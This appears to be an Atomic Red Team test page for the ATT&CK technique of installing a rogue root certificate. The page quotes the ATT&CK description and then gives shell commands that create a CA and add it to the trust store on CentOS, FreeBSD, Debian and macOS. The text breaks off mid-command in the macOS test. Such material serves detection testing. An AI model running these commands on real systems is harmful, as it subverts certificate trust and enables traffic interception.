# T1553.004 - Subvert Trust Controls: Install Root Certificate

## Description from ATT&CK

> Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
> 
> Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)
> 
> Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)
> 
> Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)
> 
> In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)

[Source](https://attack.mitre.org/techniques/T1553/004)

## Atomic Tests

- [Atomic Test #1: Install root CA on CentOS/RHEL](#atomic-test-1-install-root-ca-on-centosrhel)
- [Atomic Test #2: Install root CA on FreeBSD](#atomic-test-2-install-root-ca-on-freebsd)
- [Atomic Test #3: Install root CA on Debian/Ubuntu](#atomic-test-3-install-root-ca-on-debianubuntu)
- [Atomic Test #4: Install root CA on macOS](#atomic-test-4-install-root-ca-on-macos)
- [Atomic Test #5: Install root CA on Windows](#atomic-test-5-install-root-ca-on-windows)
- [Atomic Test #6: Install root CA on Windows with certutil](#atomic-test-6-install-root-ca-on-windows-with-certutil)
- [Atomic Test #7: Add Root Certificate to CurrentUser Certificate Store](#atomic-test-7-add-root-certificate-to-currentuser-certificate-store)

### Atomic Test #1: Install root CA on CentOS/RHEL

Creates a root CA with openssl

**Supported Platforms:** Linux

**auto_generated_guid:** `9c096ec4-fd42-419d-a762-d64cc950627e`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| cert_filename | Path of the CA certificate we create | path | rootCA.crt|
| key_filename | Key we create that is used to create the CA certificate | path | rootCA.key|

#### Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```sh
openssl genrsa -out #{key_filename} 4096
openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename}
cp #{cert_filename} /etc/pki/ca-trust/source/anchors/
update-ca-trust
```

#### Cleanup Commands

```sh
rm /etc/pki/ca-trust/source/anchors/#{cert_filename}
update-ca-trust
```
### Atomic Test #2: Install root CA on FreeBSD

Creates a root CA with openssl

**Supported Platforms:** Linux

**auto_generated_guid:** `f4[PII_REDACTED]-44ab-a234-b3252ea7e7a3`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| cert_filename | Path of the CA certificate we create | path | rootCA.crt|
| key_filename | Key we create that is used to create the CA certificate | path | rootCA.key|

#### Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```sh
openssl genrsa -out #{key_filename} 4096
openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename}
cp #{cert_filename} /usr/local/share/certs/
certctl rehash
```

#### Cleanup Commands

```sh
rm /usr/local/share/certs/#{cert_filename}
certctl rehash
```
### Atomic Test #3: Install root CA on Debian/Ubuntu

Creates a root CA with openssl

**Supported Platforms:** Linux

**auto_generated_guid:** `53bcf8a0-1549-4b85-b919-010c56d724ff`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| cert_filename | CA file name | path | rootCA.crt|
| key_filename | Key we create that is used to create the CA certificate | path | rootCA.key|

#### Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```sh
mv #{cert_filename} /usr/local/share/ca-certificates
sudo update-ca-certificates
```


#### Dependencies: Run with `sh`!

##### Description: Verify the certificate exists. It generates if not on disk.

###### Check Prereq Commands

```sh
if [ -f #{cert_filename} ]; then exit 0; else exit 1; fi;
```

###### Get Prereq Commands

```sh
if [ ! -f #{key_filename} ]; then openssl genrsa -out #{key_filename} 4096; fi;
openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out #{cert_filename}
```

### Atomic Test #4: Install root CA on macOS

Creates a root CA with openssl

**Supported Platforms:** macOS

**auto_generated_guid:** `cc4a0b8c-426f-40ff-9426-4e10e5bf4c49`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| cert_filename | CA file name | path | rootCA.crt|
| key_filename | Key we create that is used to create the CA certificate | path | rootCA.key|

#### Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```sh
sudo security add-trusted-cert -d -r trustRoot -k "/Library/Keychains/System.keychain" "#{cert_filename}"
```


#### Dependencies: Run with `sh`!

##### Description: Verify the certificate exists. It generates if not on disk.

###### Check Prereq Commands

```sh
if [ -f #{cert_filename} ]; then exit 0; else exit 1; fi;
```

###### Get Prereq Commands

```sh
if [ ! -f #{key_filename} ]; then openssl genrsa